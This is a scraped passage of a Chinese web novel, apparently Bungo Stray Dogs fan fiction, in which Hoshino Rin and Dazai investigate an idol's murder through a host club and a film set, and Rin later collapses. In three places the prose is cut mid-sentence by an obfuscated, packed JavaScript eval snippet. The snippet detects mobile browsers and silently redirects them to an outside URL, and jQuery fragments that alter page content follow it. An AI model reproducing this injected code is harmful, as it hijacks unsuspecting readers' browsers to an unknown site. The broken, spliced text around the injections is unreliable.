“好吧,那凛酱也要陪我一起当牛郎才行。” 星野凛毫不犹豫道:“好啊。” “诶——答应的也太快了吧!” “只是调查案件才这样啦,有什么好抗拒的,倒是你,平时那么大胆,现在怎么这么矫情?” 太宰反驳道:“才没有呢!我现在也很大胆。” 见激将法有用,星野凛把他拉起来往外走:“那事不宜迟,我们快点出发吧。” “相信我,凭你这张脸进入牛郎店,绝对是头牌中的头牌。” 18. 第 18 章 星野凛对着全身镜打量自己的一身行头,粉色西装配花裤子,这什么灾难搭配啊…… 旁边的太宰穿了和她同款的粉色西装,但裤子没有换,星野凛有些不满:“喂,你凭什么不换裤子?” 太宰无辜眨眼:“诶?可是店长也没有说必须换裤子吧,是凛酱你太认真了啦,那么丑的裤子我是不会穿的哦~” 星野凛仔细回想店长说的话,说了吗……好像是没说,不过她是不会承认的,承认的话太宰那家伙不得在她面前横着走?她才不要承认呢! 选择性失忆道:“我怎么不记得店长说过这话,分明是你自己编的。” “诶——是故意的吧?绝对是故意的!凛酱耍赖,怎么能不认账呢!” 星野凛熟练地捂上耳朵:“我中了松本月华的异能,听不见了,你在说什么?你说你也要换上那条丑裤子?真的太好了,没想到太宰君是这么善良的人,居然愿意陪我一起穿丑裤子,我实在是太感动了。” 太宰把她捂住耳朵的手拿下来:“哦呀哦呀,真是没想到,在凛酱的心里我竟然那么善良,但是善良如我也不会穿丑裤子的哦~” “……”星野凛又把耳朵捂上:“我要告诉国木田君,你对搭档一点也不温柔善良!” “?好过分!” 太宰嫌弃地花裤子扔到一边:“明明凛酱和我一样不穿不就好了嘛,为什么非要穿,这条裤子真的很丑啊!” “可是他们都穿了啊,既然要当牛郎,就要做最专业的牛郎,怎么能这么敷衍呢!” 看着星野凛绝不妥协的架势,太宰只好投降:“好吧……我真是牺牲太多了,凛酱你要请我吃螃蟹宴才行。” “好啊,想吃多少吃多少。” “耶!凛酱最好了~” “不过是用你的钱。” “???不是凛酱请客吗?为什么要用我的钱?” 星野凛无奈摊手:“我没钱嘛,要等这个案件解决了才行,不过你要急着吃的话,我请客你买单也是一样的嘛。” 太宰下意识捂紧口袋里的钱包:“我也不是那么着急啦~还是等凛酱解决完案件再说吧,案件最重要,我们还是赶紧出去看看小林小姐来没来吧。” “嘁,小气鬼!” 星野凛捡起被太宰扔到地上的裤子:“你不是说案件最重要吗?还不快点换上这条裤子,现在时间还来得及,快点去换吧。” 太宰双手颤巍地接过那条花裤子,深吸一口气,像是下定了某种决心,才去更衣室换上。 星野凛站在更衣室外等候,问出了她目前为止最想问的话:“你到底是怎么说服这家牛郎店的店长的?” 这家牛郎店是横滨最大的牛郎店,怎么可能轻易让人混进来,太宰这家伙不会使用了什么暴力手段吧? 太宰换好裤子,从更衣室走出来:“凛酱想知道吗?” “当然了!” “这可是个秘密哦~以后有机会再告诉凛酱吧。” 什么嘛,神神秘秘的,她还不想知道了呢。 “等一下,这还是那条丑裤子吗?” 星野凛看着太宰身上的花裤子不可置信地说。 果然,好看的人穿什么都好看,这条花裤子不是丑,是整体配色花里胡哨的,很容易把人衬得土里土气。 但太宰穿上后竟然淡化了这种土气,花裤子和粉色西装显得格外和谐。 “当然是啦,我又没有把它变不见。” “……” 星野凛看了眼时间,推着太宰往外走:“快点出去吧,磨磨叽叽的。” 整个场景布置得很暗,旋转灯球散发出迷离暧昧的光,装满香槟的高脚杯被打碎在地,和鲜艳的玫瑰花瓣混在一起,让星野凛品出了一丝纸醉金迷的味道。 “你们是今天新来的吧?” 一个长相清秀,画着淡妆的男人向他们搭话。 见星野凛点头,男人颇为自信地开口:“我是流星,是这家牛郎店的头牌,你们刚进来最好不要想着一飞冲天,给我老老实实当陪衬就行。” 流星?好大众化的名字,感觉每家牛郎店都有一个叫流星的。 还有,这家伙到底在拽什么啊?她早就知道大部分牛郎店里的牛郎颜值都一言难尽,没想到已经差到连这种货色都能当头牌了。 星野凛和太宰对视了一眼,都从彼此的眼里看出了无语,默契地选择忽略掉这个头牌。 “喂!你们居然敢无视我!我可是头牌!” 流星在后面气得跺脚。 星野凛已经来到会客区,等待小林未央的到来。 “凛酱,你说她万一今天不来这家牛郎店,去了另外一家怎么办?” “你不是出了名的算无遗策吗?这种事问我干嘛,而且是你提议来这家店的吧?” “凛酱真是不解风情,人家明明是在找话题和你聊天,没想到你这么冷漠无情,实在是太让人伤心了~” “?……” 到底有没有人来管管这家伙啊,每天莫名其妙的,难怪国木田君每天都发火。 没过一会小林未央就进来了,店里的牛郎都前赴后继地赶上去。 星野凛看着这场面傻眼了,这到底是牛郎店,还是小林未央的个人见面会啊,都挤上去干嘛,一点素质都没有。 好在小林未央给每个人都开了瓶名贵红酒,身边只留下了两个牛郎,一个是刚才那个流星,还有一个不认识。 星野凛拉着太宰坐在小林未央的旁边,幸好沙发够长,不然她和太宰根本坐不下。 小林未央一边听着牛郎的奉承,一边问星野凛:“我好像没见过你,你是新来的吗?瞧着还有点眼熟。” 星野凛喝了口香槟:“不眼熟才怪,白天刚见过面。” 太宰一把夺过星野凛的酒杯:“凛酱还是少喝点吧,万一喝醉了可就糟了。” 店里光线昏暗,小林未央看不太真切,直到看见太宰才想起来:“原来是你们!” 小林未央对流星还有另外一个牛郎说:“你们两个先休息一下,我一会再来找你们。” 流星临走前还分别瞪了星野凛和太宰一眼。 啧啧,男人的忮忌心真是可怕,幸好她不在牛郎店工作,不然遇上这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037682|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种同事真是倒了八辈子血霉。 小林未央见那两人都走了后,才问:“你们找我不会是想调查山本的事吧?我虽然喜欢吐槽同行,但又不是笨蛋,这种签了保密协议的事我是不会说的。” 星野凛疑惑道:“保密协议?是你说的什么合同吗?” 小林未央开了瓶香槟:“是啊,所以我不能说,但我没想到你们会在牛郎店等我,真是敬业啊。” 太宰将一杯香槟一饮而尽:“是哦,我们为了进牛郎店付出了很多的,小林小姐真的不愿意透露点别的吗?” “哪怕是别的也好啊。” 星野凛用手托住太宰的下巴:“凭太宰君这张足以媲美头牌和偶像的脸,真的不值得让小林小姐说点什么吗?” 小林未央叹气道:“好吧,看在那张脸的份上,我可以透露给你们,但不能出卖我,我还得在圈里混呢。” 星野凛立马收回手:“你放心好了,我们都是有职业操守的侦探,是绝对不会透露私人情报的。” 太宰感受着下巴残留的温度,控诉道:“凛酱好过分,明明上一秒还在摸着人家的下巴,甜蜜地喊人家太宰君,下一秒就把人家给抛弃了,实在是太让人伤心了~” 星野凛翻了个白眼:“这都什么时候了,你这家伙能不能别妨碍我探案啊?!” “我哪有妨碍凛酱,我也在认真探案!” “不用理他,小林小姐请你继续吧。” 小林未央继续刚才的话题:“听你这么说我就放心了,我和山本虽然是一个事务所的,但我和他合作的次数屈指可数,我一直是演员,他是偶像转演员,业务能力非常一般,但好在粉丝多,和他合作的剧,就算口碑不好,起码有热度。” “那山本悠真的人品怎么样?他有得罪什么人吗?” “人品?” 小林未央忍不住笑了:“哈哈哈哈……” 星野凛一头雾水:“这有什么好笑的?” 小林未央把笑憋回去:“没什么,我只是天生笑点低而已,继续吧。” “山本的人品我不太清楚,不过他和青木关系不太好,他们之前是一个组合的,做队友的时候就有媒体爆出山本和青木互殴的新闻,组合单飞后,他们又都来到了星中星事务所,他们资源重合度又高,每天抬头不见低头见的,不出事才怪。” 青木翔太吗?星野凛脑海中瞬间浮现出那张漂亮的脸:“那小林小姐知不知道山本和青木之间有什么矛盾啊?” “他们之间的恩怨都要追溯到成团时期了,流传最广的一个版本说是因为青木性格差,山本忍受不了才产生矛盾的,总之听听就好,肯定不保真。” 青木性格差? 长得好看的人性格差什么的,还真是让人无法接受啊。 “我想知道那个青木是真的性格差吗?” 说到这个小林未央连瞌睡都没有了,“我跟你讲,那家伙除了有一张好看的脸之外,什么优点都没有,就是个烂人!” 真的假的?不过看小林未央的反应就知道肯定是真的,那么好看的一张脸真是可惜了。 19. 第 19 章 小林未央越说越起劲:“去年他举办生日见面会,一张票卖10000円,粉丝送他的礼物全被他扔进了垃圾桶只留下值钱的,这件事被媒体曝光的时候,他又出来卖惨,一通操作下,不仅没对他没影响,反而还接到了不少资源。” 这不就是割韭菜,虚荣拜金,虐粉提纯吗? 不愧是在演艺圈混出头的人,青木的这些操作单放在他一个人身上确实恶劣,不过和同行对比,却又把他衬托得微不足道,让粉丝找到借口为他开脱,不明真相的路人还真以为他多么无辜呢。 实则他自己躲在粉丝的羽翼下,教唆粉丝为自己冲锋陷阵,真是老套又恶劣的手段,但全世界的演艺圈又都这样,真是无聊啊。 还是问点有用的吧。 星野凛看到小林未央的酒杯空了,拿起一瓶香槟给她倒上:“小林小姐知不知道在山本出事之前,有没有和青木发生什么冲突?” 小林未央思索道:“如果互相辱骂也算冲突的话,那他们每天都在发生冲突。哦,现在不能算每天了,因为山本死了。” “……” 这是什么冷笑话吗? “在我们这一行,丢失本心是一件很可怕的事,有人是为了梦想,有人则是为了金钱,不管怎么样,都不能失去方向,山本和青木的组合就是这样。” “青木心高气傲看不惯天天营销的山本,整个组合也是以他们两个人形成了小团体,一点偶像男团的样子都没有,每天勾心斗角,以前开周年演唱会的时候总是吸引看热闹的路人去吃瓜,油管上研究FFF男团学的博主都实现财富自由了。” 这不就是活生生的流量密码吗?她上她也行,视频标题就叫 # 山有青木恨海情天,顶流男团反目成仇?# 瞧瞧,多有营销号那味啊,可惜了,没赶上好时候,这钱让别人赚了。 星野凛:“他们这个团的其他人在单飞后都去做什么工作了?还能联系上吗?” 小林未央抿了口香槟:“我不太清楚,听说都回归普通人的生活,变成素人了,联系不上的,而且你就算去他们的家也获取不到信息的,他们在单飞前和前事务所签了保密协议,哪怕变成素人,也不会轻易透露。” 这就难办了,看来去找前队友的计划泡汤了,只能从青木那里下手了。 星野凛站起来和小林未央道别:“谢谢小林小姐,你的这些信息我们是绝对不会透露出去的,如果后面有需要的话,希望小林小姐能再帮助我们,拜托了。” 小林未央无所谓地说:“没问题,都是小事,我是真的期待这场闹剧的结局啊……” 闹剧吗?为什么会是这种形容? 离开牛郎店后,星野凛在出租车上用手机联络村上警官:“村上警官,你那边有什么线索吗?” 村上警官的声音听起来很疲惫:“是星野小姐啊,抱歉,我这边出了点状况,暂时没有线索。” “出什么事了?严重吗?” “山本的粉丝在警察署门口游行抗议,不让解剖山本的遗体,并认定青木是杀人凶手,要求警察署立即缉拿青木。” ?这是在干嘛?妨碍警察办案真的不怕被请进去喝茶吗? 星野凛捏了捏眉心:“我打探到山本和青木确实有过节,但不能凭粉丝的一面之词就认定青木是凶手,我会尽快调查清楚的,警察署门口的话……实在不行就采取物理措施吧。” 拿枪吓唬一下,再把刑法搬上来,她就不信这帮无脑粉不害怕。 “也只能这样了,这边如果有什么线索,我会及时联络你的。” “拜托村上警官了。” 挂断通话后,太宰忽然出声:“凛酱现在要去找青木翔太吗?” 星野凛被太宰的声音吓得心脏直跳:“你干嘛啊?!你知不知道,这样突然说话是会把人吓死的!” 在牛郎店里没理会这家伙,一直忙着向小林未央打探消息,都快忘了这次调查是两个人一起来的了。 太宰毫不留情地戳破:“凛酱是把我当成空气忘掉了吧?” “你知道就好,为什么要说出来?” 就好像她故意欺负他一样,显得她多不好啊。 “诶?——” “诶什么诶,我又不是故意的,是你自己喜欢当哑巴怎么还怪我。” 太宰捂住自己的胸口,痛心疾首道:“好过分!我这个大活人明明一直跟在凛酱后面,凛酱居然说忘就忘,实在是太过分了!” “对不起行了吧,别计较这些有的没的了,我们得快点去找青木,早点结束这个案子,不然村上警官压力很大的。” “那凛酱知道青木翔太在哪里吗?” “这个简单,当时在高桥的私人办公室里,我顺便把青木的行程调查出来了,他现在正在剧组拍戏,我们直接去剧组就行。” * 青木翔太拍的应该是漫改剧,星野凛看到工作人员把镜头对准他,肢体动作还有台词都很浮夸,演完雨中告白的戏码,下一秒就和搭戏的女演员抱在一起了。 大晴天的人工降雨真的很出戏啊,妆全被水冲掉了,看得她强迫症都要犯了。 太宰激动地说:“凛酱你看见拍戏用的人工降雨了吗?要是能站着就能被淹死的话,都不用特地去入水了,这个自杀方法实在是太新奇了,凛酱你说是不是啊?” “会不会被淹死我不知道,但我知道你一定会感冒,被病痛给折磨死。” “被病痛折磨的话还是算了吧……” 等青木把这场戏拍完,中场休息的时候,星野凛才准备过去向他打探信息。 在快要走到青木面前的时候,一个不知道从哪里窜出来的小女孩,把自己亲手做的纸船送给了青木:“哥哥,这是我亲手做的,希望你能喜欢。” 完了,按照小林未央提供的消息来看,青木绝对会把那个纸船给扔掉的。 然而下一秒,青木翔太把纸船收下了,弯腰摸了摸小女孩的头,笑着说:“谢谢,我很喜欢,快点回家吧,不要让妈妈担心哟。” 小女孩点点头,一蹦一跳地回家了。 这不对吧?青木那家伙收到这种礼物,不应该表现得很冷淡,在小女孩走的时候,把纸船扔掉,或者撕掉吗? 怎么还真的收下了?难道小林未央故意给她传递假信息? 不行,星野凛感觉自己要得吉田友香后遗症了,不会那么倒霉吧? 星野凛抬起脚,没走几步就被拍摄现场的小型道具绊倒在地。 该死,早知道就不提“倒霉”这两个字了。 太宰把她扶起来:“凛酱没事吧?” 星野凛拍了拍身上的灰尘:“死不了就行。” “诶?” 青木翔太早就注意到星野凛了,以为又是来探班的粉丝,他走到星野凛的面前,把手放到自己的嘴唇上,再把手放回她的脸上,完成了一个间接吻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037683|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 还对她做了个wink:“下次一定要注意哦,这样是不是就不会痛了?” ???这家伙在干嘛? 好油腻,好恶心! 星野凛赶紧拿出装在口袋里的湿巾擦脸:“可恶,你不会以为全世界都是你的脑残粉吧?一点礼貌都没有,这根本不是饭撒,这是骚扰你懂吗?是骚扰!” “搞什么啊,原来不是我的粉丝……” 太宰的脸上看不出情绪,鸢色的眼睛一片漠然:“青木君现在心里一定很开心吧?毕竟山本君死了,不过我劝青木君不要高兴得太早了,真以为自己能独善其身吗?” 星野凛擦完脸,愤愤地瞪着青木翔太,对太宰的话赞同道:“就是,你以为自己能独善其身吗?我们是来调查案件的,你最好把你知道的都说出来,不然我先告你杏骚扰!” 青木翔太气定神闲地对着小镜子整理发型:“我还以为你们要说什么呢,我和山本只是前队友兼同事关系,一点都不熟,我现在确实很开心啊,讨厌的人终于死了,换做谁都会开心的。” 他说完话后,把镜子摔到地上,镜子立马四分五裂:“化妆师呢?怎么做的妆造?要不是我照镜子,都不知道自己居然顶着这么丑的妆拍戏!” 男化妆师闻言立马赶来,缩着脖子,不敢看青木翔太的脸:“对、对、对不起!” 青木翔太扔给他一张卡,“拿着工资赶紧滚,我不想再看见你。” 明明是很好看的妆造,只不过因为拍雨戏,不防水有点脱妆了,整体还是非常美观的,但在青木翔太的眼里好像蒙了层丑陋滤镜一样,说白了,就是鸡蛋里挑骨头。 小林未央说得没错,这家伙的性格就是烂,还特别喜欢在粉丝面前演,表演型人格吗? “你知不知道山本的案件对警察署造成了很大的舆论压力,作为山本的前队友,你有义务也必须配合我们的调查。” 青木翔太把手放到星野凛的头上,直勾勾地看着她:“侦探小姐,你知不知道太严肃是会加速衰老的?” 这混蛋抽什么风,脑子没问题吧? 星野凛翻了个白眼:“那我现在是老人了,你不配合我就是不尊敬老人。” 太宰把青木翔太的手推开:“这就不用青木君担心了,凛酱现在才18岁,不用想那么远哦~倒是青木君,每天忙通告跑来跑去,才最应该注意抗衰老吧?” 青木翔太把手收回去,“嘁”了一声:“我今年也才20岁,大好年华,用不着担心这些。” 星野凛后退一步,离青木翔太远了一点:“我知道你肯定也签了那份保密合同,但你放心,我们是绝对不会说出去的,我们现在代表的就是警察署,你要是实在不想配合,就别怪我们把你送去警察署喝茶。” 青木翔太不耐烦道:“知道了,不过侦探小姐得答应我一个条件才行。” 星野凛警惕地问:“什么条件?过分的我是绝对不会答应的。” “侦探小姐把我想成什么人了?我的助理突然辞职了,一直没有找到合适的人选,我看侦探小姐很合适,所以我的条件就是让侦探小姐当我的临时助理,放心,是有工资的,我不至于连这点工资都付不起。” 什么突然辞职,说得那么好听,依她看就是受不了青木的恶劣性格才辞职的吧? “怎么样?侦探小姐要不要答应呢?这可是关乎着情报哦。” 可恶,这混蛋居然敢威胁她! 20. 第 20 章 为了案子,星野凛还是答应了:“我可以答应你,不过我只能做三天,多一天都不行。” 她还得探案呢,哪有空给他当助理,也不知道这家伙葫芦里卖的是什么药。 青木翔太略微可惜地说:“知道了,看来找助理的任务还是得尽快提上日程才行啊。” 太宰担忧地看着星野凛:“凛酱,真的没问题吗?千万不要勉强哦,我还有别的办法获得线索的。” “没问题,留给我们的时间也没有多少了,没必要再舍近求远。” “好吧……” “你先回去吧,有什么情况我会及时联络你的。” 太宰无奈叹气:“知道了,凛酱这么想我走吗?” “我没有这个意思,只是你在这里会影响破案进度,你完全可以去警察署帮村上警官,这里有我就行。” “既然凛酱都这么说了,那我走了?”见星野凛没什么反应,太宰又重复了一遍后面的话:“我走了,我真的走了哦?” 星野凛满头黑线:“我耳朵没问题,为什么要重复那么多遍?” 太宰伸出三根手指,在她面前挥来挥去:“明明只说了三遍,根本没有很多次嘛!” “……”请问这是重点吗? 青木翔太在一旁打哈欠:“一会又要开拍了,侦探小姐还是尽快处理好个人情感问题吧。” “催什么催,你有这空不如多背几句台词吧,演技那么差,真的一点自知之明都没有吗?” “嘁,懒得和你说,不懂欣赏,没有艺术修养。” ?她还懒得理他呢,神经病…… 太宰又喊她:“凛酱~” “又怎么了?” “没什么,就是想叫叫你,我先回警察署了,拜拜~” 太宰说完就走出了剧组,星野凛收回视线:“一会就开拍了吧,我需要做些什么?” 青木翔太新奇地看着她:“侦探小姐真的不知道助理的工作性质吗?” “我当然知道啊,但你和普通艺人又不一样,我多了解一点,心里有个准备不行吗?” 什么助理,不就是端茶倒水的保姆吗…… 这家伙又那么难伺候,这份工作注定不会轻松。 这时,导演拿着大喇叭喊开工了,青木翔太调整好状态:“不用那么麻烦,我什么时候喊你,你什么时候到就行。” 这场戏是女主提出分手,男主悲痛欲绝的桥段,又是人工降雨,这部剧无论是告白还是分手都喜欢下雨,拍出去真的不会被吐槽吗? 星野凛在一旁看得津津有味,只见青木翔太饰演的男主苦苦哀求女主,想要复合,结果被女主甩了一巴掌,“啪”地一声,他白皙俊美的脸上印上了红肿的巴掌印。 顺利演完这场后,搭戏的女演员向青木翔太道歉:“那个,不好意思啊,我刚才入戏太深了,没有打伤你吧?” 青木翔太没理会女演员的道歉,反而喊星野凛:“侦探小姐——快点去给我买冰袋,我的脸受伤了。” 事真多,男人就是矫情,星野凛不情不愿地去给他买冰袋。 导演放下手头的工作,去查看青木翔太的脸,“青木先生,你没事吧?刚才那一下打得太逼真了,我没有喊停,请你谅解。” 星野凛去最近的便利店买了个冰袋,回来就听见了导演的话,她真的好想笑啊,什么逼真,明明就是真情实感嘛。 刚才那一巴掌,她看得明明白白,人家就是故意的,就是单纯看青木翔太不爽而已。 说真的,她也好想打青木翔太一巴掌啊,可惜她不能,不然被投诉的话,这个月的工资就泡汤了。 星野凛暗暗叹气,把冰袋递给青木翔太:“呐,给你冰袋。” 青木翔太接过冰袋往脸上敷:“我知道了,下次再有这种情况我就不演了,这部剧我能来是给你面子。” 导演连忙道歉:“青木先生说得是,实在抱歉,下次一定不会有这种情况了。” “凉子,还不快点向青木先生道歉。”导演用手肘戳了戳那个名叫凉子的女演员。 凉子嗫嚅开口:“可是我刚刚已经和他道过歉了,没必要再道第二次吧?” 导演恨铁不成钢地看着凉子:“那就再道一次啊,一定是你不够真诚,不然青木先生早就原谅你了。” 青木翔太玩味地笑了:“不用道歉了,我知道凉子小姐不是故意的,如果非要表达诚意的话,不如凉子小姐离开剧组吧?” 星野凛偷偷打了个哈欠,她真的好困啊,到底什么时候结束啊,好想回去睡觉…… 导演赔笑道:“倒也不用这样吧,凉子也只是入行没多久的新人,青木先生能不能给她一个机会?” “刚入行没多久的新人就能和身为顶流的我搭戏,到底是新人,还是资源咖,日向导演您比谁都清楚吧?” 哦吼,原来是关系户,这下有意思了。 日向导演擦了擦汗,解释道:“她是我的女儿,之所以没有公开,就是怕被贴上这种标签。这部剧还有三场就杀青了,拜托了,青木先生,能不能把剩下的三场戏拍完?剧播后,我会再给你分成的。” 青木翔太勉为其难地应道:“算了,看在钱的份上,我就不和你们计较了,也就是我心胸宽阔,换成别人早就罢演了。” 这家伙真会给自己脸上贴金,刚才他也说过罢演吧?现在又装出这副“敬业”的样子,真让人觉得恶心。 这个插曲很快过去了,拍了一上午,终于到吃饭的时间了。 剧组有统一订的便当,星野凛拿了两盒,递给青木翔太一盒:“快吃吧,一会还要拍戏呢。” 青木翔太打开便当的盒子,嫌弃地推到一边:“这是人能吃的东西吗?一点都不健康,我要吃营养美容餐,你快点去给我买!” 星野凛也把便当打开,映入眼帘的是胡萝卜,青菜,寿司还有虾仁,到底哪里不健康了?! “记住,我要色香味俱全的营养美容餐,我不吃胡萝卜,不吃寿司,哦,对了,再去药妆店帮我买一个防晒霜,要我代言的,不要买别人代言的。” 烦死了! 星野凛把便当放下,认命地帮他跑腿,又想起了什么折返回来:“给我钱,刚才买冰袋的钱是我赊的。” “侦探小姐出门都不带钱吗?” “我是穷光蛋你满意了吗?快点给钱,我身上一毛钱都没有。” “真是没办法啊。”青木翔太递给她一张卡:“我没有现金,刷这张卡吧。” 星野凛接过卡就走,幸好剧组在比较繁华的地段拍戏,没走几步就看见一家药妆店。 店员小姐热情地接待她:“您好,请问有什么需要帮助的吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037684|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她确实需要帮助,店里各种化妆品和护肤品看得她头晕。 “请问有青木翔太代言的防晒霜吗?” “有的,请您稍等。” 星野凛买完防晒霜就去买营养餐,青木那混蛋真会给她找麻烦,还色香味俱全的营养美容餐,她都不明白这几个字是怎么和营养搭上边的。 转了几圈都没找到卖营养餐的,只剩下中华街没有去了。 一个老奶奶拿着大喇叭,用蹩脚的日语喊道:“传统中华美食,色香味俱全,买不了吃亏,买不了上当,都来看看了——” 星野凛好奇地问:“真的是色香味俱全的吗?” 老奶奶笑着说:“当然了,今天就剩最后一份了,错过可就没有了。” “请给我来一份。” 星野凛提着东西慢悠悠地走回剧组,她还一口饭都没吃呢,早知道刚才偷偷用青木翔太的钱买一份饭团吃了。 不知道是不是没吃饭的原因,星野凛觉得头越来越晕,心脏剧烈跳动,传来阵痛。 就快到了,她咬牙坚持下去。 青木翔太看着慢吞吞的星野凛不悦道:“怎么去那么慢,这都快开拍了,侦探小姐是想饿死我吗?” 星野凛连一丝眼神都不想分给他,把东西递到他面前:“我已经够快了,你还想怎样?” “我不管,我把任务交给了你,你就得认真完成,不要找借口。” 星野凛悄悄攥紧拳头,四肢泛起密密麻麻的疼痛,心脏由阵痛转为剧痛,没一会她的头上就全是冷汗,脸色惨白。 青木翔太只顾着挑挑拣拣,没注意到星野凛的脸色。 “我都说了买色香味俱全的营养美容餐,你看你买了什么?居然把鸽子汤买来了,那么油腻的东西我怎么吃啊?” “这个防晒霜的颜色没买对,虽然是我代言的,但我要那款蓝色的,红色这个不适合我的肤质。” “真是的,怎么这点小事都做不好,早知道就不让侦探小姐做这份工作了。” 闭嘴! 给我闭嘴! 吵死了! 星野凛被浑身的剧痛压得喘不过气,只觉得体内好像有一头野兽要冲破封印跑到街上大快朵颐,她抬起手拍了拍额头,努力让自己变得清醒:“再说这么多废话,我就杀了你。” 青木翔太这才注意到星野凛,忍不住惊呼道:“你怎么了?我也没说什么过分的话啊,你不会是因为我的话,才这么难受的吧?” “我是很有魅力没错,但侦探小姐还是不要对我有什么非分之想比较好,我找人算过了,我的真命天女会在五年后出现,为了我的真命天女,我是不会随便和人交往的。” 为什么要说那么多废话,她的头好痛,眼睛也像蒙上了一层雾般,视野变得模糊,看不清楚。 她用力掐自己的手腕,强撑着对青木翔太说:“我不干了,一会把今天的工资结给我,不要说废话,我没有耐心听你说废话。” 青木翔太被她的样子吓到:“刚才给你的卡里还有二十万円,就当做你的工资了吧,你别说是我把你变成这样的就行,和我没关系啊。” 星野凛摸了摸口袋里的卡,确认还在后,拿出手机颤抖地联络太宰,她的声音因为疼痛,变得沙哑:“我要死了,快点来救我。” “诶?——” 21. 第 21 章 星野凛不记得自己是怎么回到侦探社的,只记得自己在快要失去意识之前看见了太宰,之后就彻底失去意识了。 她睁开眼睛打量四周,雪白的天花板,刺鼻的消毒水味,还有心电监测仪发出的“滴滴”声,无不昭示着她已经躺在与谢野医生的医务室里了。 “总算醒了,太宰把你抱回来的时候,都快吓死我了。” 与谢野晶子松了口气,转身接了一杯热水递给她:“喝点热水吧。” 星野凛从病床上坐起来,接过热水:“谢谢与谢野医生,我昏睡多久了?” “一天一夜,说来奇怪,我怎么检查都检查不出问题,身体的原本机能也像破碎的拼图一样……” 她还以为自己睡了三天三夜呢,什么像破碎的拼图,她就是破碎的拼图,当时的疼痛差点没让她原地去世。 感谢自己这顽强的生命力,换个体弱多病的身体早就去天国了。 星野凛掀开被子下床:“既然没什么事的话,那我就先回去调查案子了。” 太宰不带温度的声音传来:"凛酱真是任性啊,身体还没完全好就想着案子,还是老老实实待在这里吧。" “我也建议你多休息几天,万一再发作就得不偿失了。” 与谢野晶子附和道。 “我的身体我自己清楚,不用这么麻烦了。” 太宰走进医务室,神色淡淡:“是啊,凛酱嘴上说着不用麻烦,结果到头来不还是要麻烦我。” ?这家伙是在对她表达不满吗? 与谢野晶子怔愣地看着太宰:“太宰你怎么对凛酱用质问的语气?一直守在……” 一直守在病床前,等待她醒来的不是你吗? “没有质问哦,只是正常的语气而已,与谢野医生,我有话要单独和凛酱说,你可以回避一下吗?” 太宰出声打断与谢野晶子未说完的话。 “我知道了,你记得多喝热水,多注意休息。” 与谢野晶子对星野凛嘱咐完,就把门关上出去了。 星野凛坐回病床上:“你到底想说什么?” “我想说什么,凛酱难道不清楚吗?” 她该清楚吗?她又不是他肚子里的蛔虫,她怎么可能知道他想说什么。 太宰不等星野凛回答又缓缓开口:“只是一起再普通不过的案子,凛酱就把自己搞成了这样,我都说过了,还有别的线索,可以不用去当助理的,为什么凛酱总是这样?自信满满地接下,乱七八糟地解决。” 星野凛忽然感到一阵剧痛,这次的痛是从五脏六腑传来的,疼痛让她的眼睛染上水汽:“当初是你非要让我入社的,我是没有探案的天赋,但我也在努力地学习,如果太宰君这么嫌弃我,就去和别人组队吧,我不需要,也不稀罕。” 强撑着把这句话说完后,她像是终于回到水面的鱼儿,大口呼吸,大口喘气。 “如果闭门造车也算学习的话,那凛酱确实天赋异禀,很多事情原本没有那么复杂,都是因为凛酱的参与才变得那么复杂,看来,来路不明的人还是不能随随便便就捡回侦探社啊。” 星野凛捂住胸口,她的耳朵传来一阵耳鸣,什么声音都听不见。 太宰转过身,背对着她:“我希望凛酱能够明白,靠感觉探案是行不通的,倒霉体质总有一天会让你连门都出不了的。还有,这次去给青木翔太做助理换取情报的行为非常愚蠢。” 等疼痛过去后,星野凛感到体内有一股力量在互相碰撞,渐渐地,她原本青色的眼睛变成了绿色,不耐烦道:“闭嘴,再吵我就把你扔进海里喂鱼。” 听出她语气的变化后,太宰转身看向她:“你的眼睛……” 星野凛眨着绿色的眼睛得意道:“你在说我的眼睛吗?怎么?你羡慕了?羡慕也是人之常情,这可是力量的象征啊。” 不对,眼前的人不是凛酱,或者说不是他所熟悉的凛酱。 太宰顺着她说:“当然羡慕啦,有了这么强大的异能就再也不用做这小小的侦探了,我做梦都想要这种力量哦~” “少胡诌,你到底是谁?我为什么会在这里?” 看来这个凛酱也失忆了,失去的貌似还是来到横滨之后的记忆。 “小姐,你还记得自己叫什么名字吗?” “废话真多,无可奉告。” 比原本的凛酱脾气还要差,这就有点难办了啊…… 太宰把完全自杀手册递给星野凛:“小姐如果不知道这是哪里的话,看一下这个就全都明白了哦。” 星野凛半信半疑地接过:“如果是假的,我就杀了你。” “诶?还有这种好事?其实小姐可以考虑一下和我殉情哦~” 